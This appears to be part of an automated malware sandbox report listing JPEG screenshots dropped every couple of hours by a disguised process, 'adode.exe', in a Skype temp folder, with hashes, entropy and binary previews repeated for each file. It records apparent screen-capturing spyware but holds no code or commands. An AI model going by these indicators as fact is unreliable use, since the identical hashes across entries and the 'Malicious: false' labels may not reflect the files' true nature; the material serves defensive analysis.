Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250128_212213.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250128_231602.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250129_005653.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250129_025943.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250129_045632.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250129_070754.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250129_094152.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250129_122102.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250129_143835.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250129_163637.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250129_184834.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250129_204439.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250129_222447.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250130_000915.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250130_005128.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250130_014445.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250130_023058.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
